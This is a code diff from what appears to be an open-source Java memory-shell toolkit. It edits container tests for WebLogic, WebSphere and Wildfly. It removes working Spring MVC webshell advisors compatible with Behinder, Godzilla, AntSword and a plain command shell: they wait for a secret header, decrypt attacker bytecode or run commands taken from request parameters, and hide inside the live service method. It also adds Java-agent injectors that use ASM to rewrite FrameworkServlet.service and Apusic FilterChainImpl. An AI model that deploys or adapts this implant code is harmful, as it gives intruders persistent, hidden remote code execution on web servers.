Triple.of(ShellType.SERVLET, ShellTool.Behinder, Packers.Base64), // java.net.SocketTimeoutException
Triple.of(ShellType.FILTER, ShellTool.Behinder, Packers.Base64) // java.net.SocketTimeoutException
);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, unSupportedCases);
} }
@AfterAll @AfterAll
@@ -53,8 +53,7 @@ public class WebLogic12214ContainerTest {
Server server = Server.WebLogic; Server server = Server.WebLogic;
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT, ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM
); );
List<Packers> testPackers = List.of(Packers.Base64); List<Packers> testPackers = List.of(Packers.Base64);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -53,8 +53,7 @@ public class WebLogic14110ContainerTest {
Server server = Server.WebLogic; Server server = Server.WebLogic;
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT, ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM
); );
List<Packers> testPackers = List.of(Packers.Base64); List<Packers> testPackers = List.of(Packers.Base64);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -63,6 +62,7 @@ public class WebLogic14110ContainerTest {
@AfterAll @AfterAll
static void tearDown() { static void tearDown() {
String logs = container.getLogs(); String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
} }
@@ -56,8 +56,7 @@ public class WebSphere855ContainerTest {
Server server = Server.WebSphere; Server server = Server.WebSphere;
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
ShellType.WAS_AGENT_FILTER_MANAGER, ShellType.WAS_AGENT_FILTER_MANAGER
ShellType.WAS_AGENT_FILTER_MANAGER_ASM
); );
List<Packers> testPackers = List.of(Packers.JSP); List<Packers> testPackers = List.of(Packers.JSP);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -56,8 +56,7 @@ public class WebSphere905ContainerTest {
Server server = Server.WebSphere; Server server = Server.WebSphere;
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
ShellType.WAS_AGENT_FILTER_MANAGER, ShellType.WAS_AGENT_FILTER_MANAGER
ShellType.WAS_AGENT_FILTER_MANAGER_ASM
); );
List<Packers> testPackers = List.of(Packers.JSP); List<Packers> testPackers = List.of(Packers.JSP);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -55,9 +55,8 @@ public class WebSphere700ContainerTest {
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
Server server = Server.WebSphere; Server server = Server.WebSphere;
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER
ShellType.WAS_AGENT_FILTER_MANAGER, // ShellType.WAS_AGENT_FILTER_MANAGER // fuck the env, java.lang.instrument.UnmodifiableClassException
ShellType.WAS_AGENT_FILTER_MANAGER_ASM
); );
List<Packers> testPackers = List.of(Packers.JSP); List<Packers> testPackers = List.of(Packers.JSP);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -53,8 +53,7 @@ public class Wildfly18ContainerTest {
Server server = Server.Undertow; Server server = Server.Undertow;
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM
); );
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -53,8 +53,7 @@ public class Wildfly23ContainerTest {
Server server = Server.Undertow; Server server = Server.Undertow;
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM
); );
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -53,8 +53,7 @@ public class Wildfly30ContainerTest {
Server server = Server.Undertow; Server server = Server.Undertow;
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER,
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM
); );
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
@@ -65,6 +64,7 @@ public class Wildfly30ContainerTest {
@AfterAll @AfterAll
static void tearDown() { static void tearDown() {
String logs = container.getLogs(); String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
} }
@@ -57,8 +57,7 @@ public class Wildfly9ContainerTest {
Server server = Server.Undertow; Server server = Server.Undertow;
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM
); );
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine);
List<Triple<String, ShellTool, Packers>> unSupportedCases = List.of( List<Triple<String, ShellTool, Packers>> unSupportedCases = List.of(
@@ -1,62 +0,0 @@
package com.reajason.javaweb.memshell.springwebmvc.antsword;
import net.bytebuddy.asm.Advice;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/**
* @author ReaJason
* @since 2025/02/18
*/
public class AntSwordServletAdvisor {
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
public static boolean enter(
@Advice.Argument(value = 0) Object request,
@Advice.Argument(value = 1) Object response,
@Advice.Origin Class<?> targetClazz
) {
String pass = "pass";
String headerName = "headerName";
String headerValue = "headerValue";
try {
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Object unsafe = unsafeField.get(null);
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
getAndSetObjectM.invoke(unsafe, targetClazz, offset, module);
} catch (Exception ignored) {
}
try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null
&& value.contains(headerValue)) {
byte[] data = null;
Class<?> base64;
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
try {
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
Object decoder = base64.newInstance();
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
}
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
Object instance = payload.newInstance();
instance.equals(new Object[]{request, response});
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
}
@@ -1,96 +0,0 @@
package com.reajason.javaweb.memshell.springwebmvc.behinder;
import net.bytebuddy.asm.Advice;
import java.io.BufferedReader;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2025/1/18
*/
public class BehinderServletAdvisor {
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
public static boolean enter(
@Advice.Argument(value = 0) Object request,
@Advice.Argument(value = 1) Object res,
@Advice.Origin Class<?> targetClazz
) {
String pass = "pass";
String headerName = "headerName";
String headerValue = "headerValue";
try {
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Object unsafe = unsafeField.get(null);
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
getAndSetObjectM.invoke(unsafe, targetClazz, offset, module);
} catch (Exception ignored) {
}
try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null
&& value.contains(headerValue)) {
Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", request);
Object response = res;
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField("response");
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field != null) {
field.setAccessible(true);
response = field.get(response);
}
obj.put("response", response);
Object session = request.getClass().getMethod("getSession").invoke(request);
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass);
obj.put("session", session);
byte[] data = null;
Class<?> base64;
BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request);
String parameter = reader.readLine();
try {
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
Object decoder = base64.newInstance();
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
}
Class<?> cipherClass = Class.forName("javax.crypto.Cipher", true, Thread.currentThread().getContextClassLoader());
Class<?> secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec", true, Thread.currentThread().getContextClassLoader());
Class<?> keyClass = Class.forName("java.security.Key", true, Thread.currentThread().getContextClassLoader());
Object cipher = cipherClass.getMethod("getInstance", String.class).invoke(cipherClass, "AES");
Object secretKeySpec = secretKeySpecClass.getConstructor(byte[].class, String.class).newInstance(pass.getBytes(), "AES");
Method cipherInitMethod = cipherClass.getMethod("init", int.class, keyClass);
Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
cipherInitMethod.invoke(cipher, 2, secretKeySpec);
byte[] bytes = (byte[]) doFinalMethod.invoke(cipher, data);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length);
Object instance = payload.newInstance();
instance.equals(obj);
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
}
@@ -1,36 +0,0 @@
package com.reajason.javaweb.memshell.springwebmvc.command;
import net.bytebuddy.asm.Advice;
import java.io.InputStream;
import java.io.OutputStream;
/**
* @author ReaJason
* @since 2025/1/18
*/
public class CommandServletAdvisor {
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
public static boolean enter(
@Advice.Argument(value = 0) Object request,
@Advice.Argument(value = 1) Object response
) {
String paramName = "paramName";
try {
String cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
return true;
}
} catch (Exception ignored) {
}
return false;
}
}
@@ -1,104 +0,0 @@
package com.reajason.javaweb.memshell.springwebmvc.godzilla;
import net.bytebuddy.asm.Advice;
import java.io.ByteArrayOutputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/**
* @author ReaJason
*/
public class GodzillaServletAdvisor {
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
public static boolean enter(
@Advice.Argument(value = 0) Object request,
@Advice.Argument(value = 1) Object response,
@Advice.Origin Class<?> clazz
) {
String key = "key";
String pass = "pass";
String md5 = "md5";
String headerName = "headerName";
String headerValue = "headerValue";
try {
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Object unsafe = unsafeField.get(null);
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
getAndSetObjectM.invoke(unsafe, clazz, offset, module);
} catch (Exception ignored) {
}
try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null
&& value.contains(headerValue)) {
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
byte[] data = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
Object decoder = base64.newInstance();
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
}
Class<?> cipherClass = Class.forName("javax.crypto.Cipher", true, Thread.currentThread().getContextClassLoader());
Class<?> secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec", true, Thread.currentThread().getContextClassLoader());
Class<?> keyClass = Class.forName("java.security.Key", true, Thread.currentThread().getContextClassLoader());
Method cipherInitMethod = cipherClass.getMethod("init", int.class, keyClass);
Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
Object cipher = cipherClass.getMethod("getInstance", String.class).invoke(cipherClass, "AES");
Object secretKeySpec = secretKeySpecClass.getConstructor(byte[].class, String.class).newInstance(key.getBytes(), "AES");
cipherInitMethod.invoke(cipher, 2, secretKeySpec);
data = (byte[]) doFinalMethod.invoke(cipher, data);
Object session = request.getClass().getMethod("getSession").invoke(request);
Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload");
if (sessionPayload == null) {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", payload);
} else {
request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class<?>) sessionPayload).newInstance();
f.equals(arrOut);
f.equals(request);
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
writer.write(md5.substring(0, 16));
f.toString();
cipherInitMethod.invoke(cipher, 1, secretKeySpec);
byte[] encryptBytes = (byte[]) doFinalMethod.invoke(cipher, arrOut.toByteArray());
String result = null;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
result = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, encryptBytes);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
result = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, encryptBytes);
}
writer.write(result);
writer.write(md5.substring(16));
}
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
}
@@ -1,39 +1,24 @@
package com.reajason.javaweb.memshell.springwebmvc.injector; package com.reajason.javaweb.memshell.springwebmvc.injector;
import net.bytebuddy.agent.builder.AgentBuilder; import org.objectweb.asm.*;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.matcher.ElementMatchers;
import net.bytebuddy.utility.JavaModule;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation; import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain; import java.security.ProtectionDomain;
import java.util.zip.GZIPInputStream;
import static net.bytebuddy.matcher.ElementMatchers.named;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/28 * @since 2025/3/26
*/ */
public class SpringWebMvcFrameworkServletAgentInjector implements AgentBuilder.Transformer { public class SpringWebMvcFrameworkServletAgentInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "org/springframework/web/servlet/FrameworkServlet";
private static final String TARGET_METHOD_NAME = "service";
static Class<?> interceptorClass = null; public static String getClassName() {
return "{{advisorName}}";
static {
try {
interceptorClass = Class.forName(getClassName());
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
@Override
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
TypeDescription typeDescription,
ClassLoader classLoader, JavaModule module,
ProtectionDomain protectionDomain) {
return builder.visit(Advice.to(interceptorClass).on(named("service")));
} }
public static void premain(String args, Instrumentation inst) throws Exception { public static void premain(String args, Instrumentation inst) throws Exception {
@@ -44,21 +29,174 @@ public class SpringWebMvcFrameworkServletAgentInjector implements AgentBuilder.T
launch(inst); launch(inst);
} }
public static String getClassName() {
return "{{advisorName}}";
}
private static void launch(Instrumentation inst) throws Exception { private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting"); System.out.println("MemShell Agent is starting");
new AgentBuilder.Default() inst.addTransformer(new SpringWebMvcFrameworkServletAgentInjector(), true);
.ignore(ElementMatchers.none()) for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
.disableClassFormatChanges() String name = allLoadedClass.getName();
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION) if (TARGET_CLASS.replace("/", ".").equals(name)) {
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) inst.retransformClasses(allLoadedClass);
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) System.out.println("MemShell Agent is working at org.springframework.web.servlet.FrameworkServlet.service");
.type(named("org.springframework.web.servlet.FrameworkServlet")) }
.transform(new SpringWebMvcFrameworkServletAgentInjector()) }
.installOn(inst);
System.out.println("MemShell Agent is working at org.springframework.web.servlet.FrameworkServlet.service");
} }
}
@Override
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
@SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
@SuppressWarnings("all")
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
}
@@ -1,97 +0,0 @@
package com.reajason.javaweb.memshell.springwebmvc.injector;
import org.objectweb.asm.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.lang.reflect.Constructor;
import java.security.ProtectionDomain;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class SpringWebMvcFrameworkServletAgentWithAsmInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "org/springframework/web/servlet/FrameworkServlet";
private static final String TARGET_METHOD_NAME = "service";
static Constructor<?> constructor = null;
static {
try {
Class<?> clazz = Class.forName(getClassName());
constructor = clazz.getConstructors()[0];
constructor.setAccessible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
public SpringWebMvcFrameworkServletAgentWithAsmInjector() {
}
@Override
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
public static String getClassName() {
return "{{advisorName}}";
}
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new SpringWebMvcFrameworkServletAgentWithAsmInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
}
System.out.println("MemShell Agent is working at org.springframework.web.servlet.FrameworkServlet.service");
}
}
@@ -0,0 +1,223 @@
package com.reajason.javaweb.memshell.injector.apusic;
import org.objectweb.asm.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class ApusicFilterChainAgentInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "com/apusic/web/container/FilterChainImpl";
private static final String TARGET_METHOD_NAME = "performFilter";
public static String getClassName() {
return "{{advisorName}}";
}
public static String getBase64String() {
return "{{base64String}}";
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new ApusicFilterChainAgentInjector(), true);
